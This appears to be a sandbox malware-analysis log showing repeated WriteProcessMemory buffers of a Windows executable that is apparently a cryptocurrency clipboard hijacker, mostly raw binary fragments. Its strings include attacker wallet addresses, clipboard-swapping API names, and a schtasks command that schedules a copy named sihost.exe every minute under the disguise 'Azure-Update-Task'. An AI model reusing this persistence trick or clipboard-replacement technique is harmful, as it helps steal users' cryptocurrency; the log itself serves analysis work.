buffer:MZ ÿÿ ¸ @ À º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ u´Á1Õ¯Ï1Õ¯Ï1Õ¯Ïj½®Î4Õ¯Ï1Õ®Ï;Õ¯Ïi ¦Î4Õ¯Ïi Î0Õ¯ÏRich1Õ¯Ï PE L ú¯4a à w 0 @ ` @ \; < P D p: 8 0 0 .text `.rdata ~ 0 @ @.data ` @ @ À.reloc D P $ @ B base_address:0x00400000 process_identifier:900 process_handle:0x000003b8
1
1
0
WriteProcessMemory
buffer:È; Ø; ê; < < < .< :< B< ^< 0 N 1 Y / 5 3 R 1 0 U 5 / B U 5 1 N 3 5 5 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w b c 1 q e r 6 e x 9 j k k k f 8 v h l w 7 y u j 3 g 9 s x l k 2 5 l r e f 5 6 l t a L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 l t c 1 q a a d m z z t 0 j m x y e 7 7 t s 7 6 3 8 u k 4 x z v 5 u 0 n d m p 4 p 9 z 0 x 8 9 E 8 4 1 6 e A 5 b 6 9 8 6 3 C C b 3 4 D 3 A 5 C 7 4 A 8 6 b f 5 5 4 9 1 4 7 T W p S d j i 3 D X 4 P 1 V q T v n t q P w 1 9 i m g 6 U r N R a d 0 0 0 0 0 L 0 0 0 0 T 0 0 M O N 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 W 0 0 0 0 0 0 0 4 8 J v V D L y x n 7 6 K W d X s p A 6 P D P c R T X N w T R a 2 C 4 v U i 4 9 Y o X V 2 2 X 6 e X s F s k Z N n j v u H h r v 9 w V d C P 8 M V S W r w M 7 S d o o H L n 2 U D P Y v Q p W D E 4 c q a r Y s C t 8 2 h E f S U Z z j j 7 5 j R U B h c V K 4 m a d d r 1 q 9 0 v 3 q 8 s 6 h r 3 9 l j c p f z 9 8 h z v h e d 0 r w m n p e s s 6 y s m 8 3 r q 3 y z 7 e z q 0 p 4 w 8 z t l 9 s z j y 2 0 w y e 0 j 6 7 x a h x r n p p 5 f p k 0 z x p z g q 4 k h c 4 p A e 2 t d P w U P E Z D q N h A C J 3 Z T 5 N d V j k N f f G A w a 4 M c 9 N 9 5 u d K W Y z t 1 V n F n g L M n P E Z 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w t 1 Y f L Z H p h r F F Y D i K 6 8 T z q c H k G r H 3 9 C W R a r o b n b 1 g w x 7 k a v n v e u h 5 9 w 3 g j 9 2 d 0 t 7 w s g q e w 4 a s x x s j c k e r n e l 3 2 . d l l LoadLibraryW S h l w a p i . d l l n t d l l . d l l S h e l l 3 2 . d l l O l e 3 2 . d l l U s e r 3 2 . d l l GetProcAddress GetModuleFileNameW CreateDirectoryW GlobalAlloc GlobalFree GlobalLock GlobalUnlock LocalAlloc LocalFree lstrlenW StrChrW StrStrW StrStrIW StrToIntExW PathIsDirectoryW CoInitialize HeapFree CreateMutexA CreateMutexW GetLastError SHGetFolderPathA PathAppendW StringCbPrintfW memset wmemset memcpy OpenClipboard GetClipboardData EmptyClipboard SetClipboardData CloseClipboard \ M i c r o s o f t \ N e t w o r k \ s i h o s t . e x e / C / c r e a t e / F / s c m i n u t e / m o 1 / t n " A z u r e - U p d a t e - T a s k " / t r " " C : \ W i n d o w s \ S y s t e m 3 2 \ s c h t a s k s . e x e 00@ 3@ Ð2@ 4@ p6@ (6@ Ø1@ 1@ P4@ `0@ ð0@ ¨0@ à5@ h5@ 02@ H1@ 2@ ú¯4a
´ ¨: ¨ ú¯4a GCTL .text$mn 0 0 .idata$5 00 x
.rdata ¨: ´ .rdata$zzzdbg \; ( .idata$2 ; .idata$3 ; 0 .idata$4 È; ¶ .idata$6 @ ` .bss ; P< 0 À; r< (0 È; Ø; ê; < < < .< :< B< ^< ÄLoadLibraryW ®GetProcAddress ×WaitForSingleObject CloseHandle ^ExitProcess å CreateProcessW CopyFileW }Sleep 4GlobalFree KERNEL32.dll XSHGetFolderPathW SHELL32.dll base_address:0x00403000 process_identifier:900 process_handle:0x000003b8
buffer:MZ ÿÿ ¸ @ À º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ u´Á1Õ¯Ï1Õ¯Ï1Õ¯Ïj½®Î4Õ¯Ï1Õ®Ï;Õ¯Ïi ¦Î4Õ¯Ïi Î0Õ¯ÏRich1Õ¯Ï PE L ú¯4a à w 0 @ ` @ \; < P D p: 8 0 0 .text `.rdata ~ 0 @ @.data ` @ @ À.reloc D P $ @ B base_address:0x00400000 process_identifier:900 process_handle:0x000003b8
buffer:MZ ÿÿ ¸ @ À º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ u´Á1Õ¯Ï1Õ¯Ï1Õ¯Ïj½®Î4Õ¯Ï1Õ®Ï;Õ¯Ïi ¦Î4Õ¯Ïi Î0Õ¯ÏRich1Õ¯Ï PE L ú¯4a à w 0 @ ` @ \; < P D p: 8 0 0 .text `.rdata ~ 0 @ @.data ` @ @ À.reloc D P $ @ B base_address:0x00400000 process_identifier:900 process_handle:0x000003b8
buffer:È; Ø; ê; < < < .< :< B< ^< 0 N 1 Y / 5 3 R 1 0 U 5 / B U 5 1 N 3 5 5 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w b c 1 q e r 6 e x 9 j k k k f 8 v h l w 7 y u j 3 g 9 s x l k 2 5 l r e f 5 6 l t a L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 l t c 1 q a a d m z z t 0 j m x y e 7 7 t s 7 6 3 8 u k 4 x z v 5 u 0 n d m p 4 p 9 z 0 x 8 9 E 8 4 1 6 e A 5 b 6 9 8 6 3 C C b 3 4 D 3 A 5 C 7 4 A 8 6 b f 5 5 4 9 1 4 7 T W p S d j i 3 D X 4 P 1 V q T v n t q P w 1 9 i m g 6 U r N R a d 0 0 0 0 0 L 0 0 0 0 T 0 0 M O N 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 L g j H 2 m 5 c 8 e m E 6 6 p j d E x m g e p 4 7 B A d K T r C J 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 W 0 0 0 0 0 0 0 4 8 J v V D L y x n 7 6 K W d X s p A 6 P D P c R T X N w T R a 2 C 4 v U i 4 9 Y o X V 2 2 X 6 e X s F s k Z N n j v u H h r v 9 w V d C P 8 M V S W r w M 7 S d o o H L n 2 U D P Y v Q p W D E 4 c q a r Y s C t 8 2 h E f S U Z z j j 7 5 j R U B h c V K 4 m a d d r 1 q 9 0 v 3 q 8 s 6 h r 3 9 l j c p f z 9 8 h z v h e d 0 r w m n p e s s 6 y s m 8 3 r q 3 y z 7 e z q 0 p 4 w 8 z t l 9 s z j y 2 0 w y e 0 j 6 7 x a h x r n p p 5 f p k 0 z x p z g q 4 k h c 4 p A e 2 t d P w U P E Z D q N h A C J 3 Z T 5 N d V j k N f f G A w a 4 M c 9 N 9 5 u d K W Y z t 1 V n F n g L M n P E Z 1 A K V r r K G S D t b L r c W 7 7 H P E w r J M 2 E j 2 y F N Y w t 1 Y f L Z H p h r F F Y D i K 6 8 T z q c H k G r H 3 9 C W R a r o b n b 1 g w x 7 k a v n v e u h 5 9 w 3 g j 9 2 d 0 t 7 w s g q e w 4 a s x x s j c k e r n e l 3 2 . d l l LoadLibraryW S h l w a p i . d l l n t d l l . d l l S h e l l 3 2 . d l l O l e 3 2 . d l l U s e r 3 2 . d l l GetProcAddress GetModuleFileNameW CreateDirectoryW GlobalAlloc GlobalFree GlobalLock GlobalUnlock LocalAlloc LocalFree lstrlenW StrChrW StrStrW StrStrIW StrToIntExW PathIsDirectoryW CoInitialize HeapFree CreateMutexA CreateMutexW GetLastError SHGetFolderPathA PathAppendW StringCbPrintfW memset wmemset memcpy OpenClipboard GetClipboardData EmptyClipboard SetClipboardData CloseClipboard \ M i c r o s o f t \ N e t w o r k \ s i h o s t . e x e / C / c r e a t e / F / s c m i n u t e / m o 1 / t n " A z u r e - U p d a t e - T a s k " / t r " " C : \ W i n d o w s \ S y s t e m 3 2 \ s c h t a s k s . e x e 00@ 3@ Ð2@ 4@ p6@ (6@ Ø1@ 1@ P4@ `0@ ð0@ ¨0@ à5@ h5@ 02@ H1@ 2@ ú¯4a
´ ¨: ¨ ú¯4a GCTL .text$mn 0 0 .idata$5 00 x
.rdata ¨: ´ .rdata$zzzdbg \; ( .idata$2 ; .idata$3 ; 0 .idata$4 È; ¶ .idata$6 @ ` .bss ; P< 0 À; r< (0 È; Ø; ê; < < < .< :< B< ^< ÄLoadLibraryW ®GetProcAddress ×WaitForSingleObject CloseHandle ^ExitProcess å CreateProcessW CopyFileW }Sleep 4GlobalFree KERNEL32.dll XSHGetFolderPathW SHELL32.dll base_address:0x00403000 process_identifier:900 process_handle:0x000003b8
goal.exe